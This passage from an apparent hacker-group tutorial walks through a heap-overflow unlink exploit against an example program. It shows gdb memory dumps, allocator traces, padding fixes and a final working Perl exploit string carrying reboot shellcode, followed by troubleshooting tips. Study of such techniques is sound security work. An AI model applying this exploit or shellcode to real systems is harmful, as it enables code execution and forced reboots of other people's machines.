at 0x80487f1 (gdb) break *0x80487fe (gdb) r `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'` Starting program: /root/a/voodoo/example/./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x198 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'` Computed values : FD 0x080499cc-C = 0x080499c0 = "\xC0\x99\x04\x08" BK 0x08049aa8+8 = 0x08049AB0 = "\xB0\x9A\x04\x08" chunk_alloc: 0x08049aa0 (256 (0x100) bytes) chunk_alloc: 0x08049ba0 (256 (0x100) bytes) chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0 chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0) next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc) [*] unlink: P->bk: 0x08049ab0 | P->fd: 0x080499c0 [*] Setting 0x080499c0 + 12 to 0x08049ab0 [+] FD->bk = BK : ok [+] BK->fd = FD : ok [+] chunk_free was successfull [root@main example]# chunk_free : chunk: 0x08049aa0 Breakpoint 1, 0x80487b3 in main () (gdb) x/200x 0x08049aa0 0x8049aa0: 0x00000000 0x00000101 0x41414141 0x42424242 0x8049ab0: 0x90900ceb 0x90909090 0x90909090 0x90909090 0x8049ac0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049ad0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049ae0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049af0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b00: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b10: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b20: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b30: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b40: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b50: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b60: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b70: 0x90909090 0x90909090 0x16eb9090 0xb0c0315e 0x8049b80: 0xdeadbb58 0x69b9fee1 0xba281219 0x01234567 0x8049b90: 0xe5e880cd 0x41ffffff 0x41414141 0x41414141 0x8049ba0: 0xfffffffc 0xfffffffc 0x080499ba 0x08049ab0 0x8049bb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bc0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049be0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bf0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c00: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c10: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c20: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c30: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c40: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c60: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c80: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ca0: 0x00000000 0x00000361 0x00000000 0x00000000 0x8049cb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cc0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ce0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cf0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d00: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d10: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d20: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d30: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d40: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d60: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d80: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049da0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049db0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) Breakpoint 2, 0x80487f1 in main () (gdb) x/200x 0x08049aa0 0x8049aa0: 0x00000000 0x000000fd 0x002735b8 0x002735b8 0x8049ab0: 0x90900ceb 0x90909090 0x080499ba 0x90909090 0x8049ac0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049ad0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049ae0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049af0: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b00: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b10: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b20: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b30: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b40: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b50: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b60: 0x90909090 0x90909090 0x90909090 0x90909090 0x8049b70: 0x90909090 0x90909090 0x16eb9090 0xb0c0315e 0x8049b80: 0xdeadbb58 0x69b9fee1 0xba281219 0x01234567 0x8049b90: 0xe5e880cd 0x41ffffff 0x41414141 0x000000fc 0x8049ba0: 0xfffffffc 0xfffffffc 0x080499ba 0x08049ab0 0x8049bb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bc0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049be0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049bf0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c00: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c10: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c20: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c30: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c40: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c60: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c80: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049c90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ca0: 0x00000000 0x00000361 0x00000000 0x00000000 0x8049cb0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cc0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cd0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049ce0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049cf0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d00: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d10: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d20: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d30: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d40: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d50: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d60: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d70: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d80: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049d90: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049da0: 0x00000000 0x00000000 0x00000000 0x00000000 0x8049db0: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) continue chunk_alloc: 0x08049aa0 (256 (0x100) bytes) chunk_alloc: 0x08049ba0 (256 (0x100) bytes) chunk_free : chunk: 0x08049aa0 | next chunk: 0x08049ba0 | top chunk: 0x08049ca0 chunk sz: 256 (0x100) | chunk prev_size: 0 (0x0) next prev size: -4 (0xfffffffc) | next chunk size: -4 (0xfffffffc) [*] consolidate forward with next chunk: 0x8049ba0 | next prevsz: 0xfffffffc | next sz: -4 (0xfffffffc) | total sz: 252 (0xfc) [*] unlink: P->bk: 0x08049ab0 | P->fd: 0x080499c0 [*] Setting 0x080499c0 + 12 to 0x08049ab0 [+] FD->bk = BK : ok [+] BK->fd = FD : ok [+] chunk_free was successfull [root@main example]# Wrong padded : 0x16eb9090 Let's pad this right! I'll add two AAs here at the end of x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAA"; results in ...\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA"; And substitute this "\x90"x198 to "\x90"x196 Padded! and the lenght of the total shellcode is still the same. The computed addreses were wrong in my example. 0x90900ceb 0x90909090 0x90909090 0x90909090 no destroyed area here here ---^^ I will verify again the adresses you supplied for fd and bk Original String (don't work): ./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x196 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xBA\x99\x04\x08"; print "\xB0\x9A\x04\x08"'` After I changed the right fd and bk vallues the computer rebooted. Modified String (works fine): ./vuln1 `perl -e 'print "AAAABBBB\xeb\x0c\x90\x90" . "\x90"x196 . "\xeb\x16\x5e\x31\xc0\xb0\x58\xbb\xad\xde\xe1\xfe\xb9\x69\x19\x12\x28\xba\x67\x45\x23\x01\xcd\x80\xe8\xe5\xff\xff\xffAAAAAAAAAAA"; print "\xfc\xff\xff\xff\xfc\xff\xff\xff"; print "\xC0\x99\x04\x08"; print "\xB0\x9A\x04\x08"'` }}}}}}}}}}}}}} That's the good one !! What should you do if the shellcode didn't execute. :> 5. Step Troubleshooting: 1. Verify if the addresses are correct. 2. Verify the shellcode with some void (*func)() = sc; func() stuff 3. Check if the shellcode is probably aligned on memory (with gdb) ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ ------------------------------------------------------------------------------------:: GreetZ: y0 see webpage 4 gr33t l1zt! ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬ ::###############################################################[www.blackhat.cx###:: Brought to you by :::::::. ::: :::. .,-::::: ::: . :: .: :::. :::::::::::: ;;;'';;' ;;; ;;`;; ,;;;'````' ;;; .;;,. ,;; ;;, ;;`;; ;;;;;;;;'''' [[[__[[\. [[[ ,[[ '[[, [[[ [[[[[/' ,[[[,,,[[[ ,[[ '[[, [[ $$""""Y$$ $$' c$$$cc$$$c $$$ _$$$$, "$$$"""$$$ c$$$cc$$$c $$ _88o,,od8Po88oo,.__ 888 888,`88bo,__,o, "888"88o, 888 "88o 888 888, 88, ""YUMMMP" """"YUMMM YMM ""` "YUMMMMMP" MMM "MMP" MMM YMM YMM ""` MMM #BlackHat@IRCnet <-> www.BlackHat.cx ¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬¬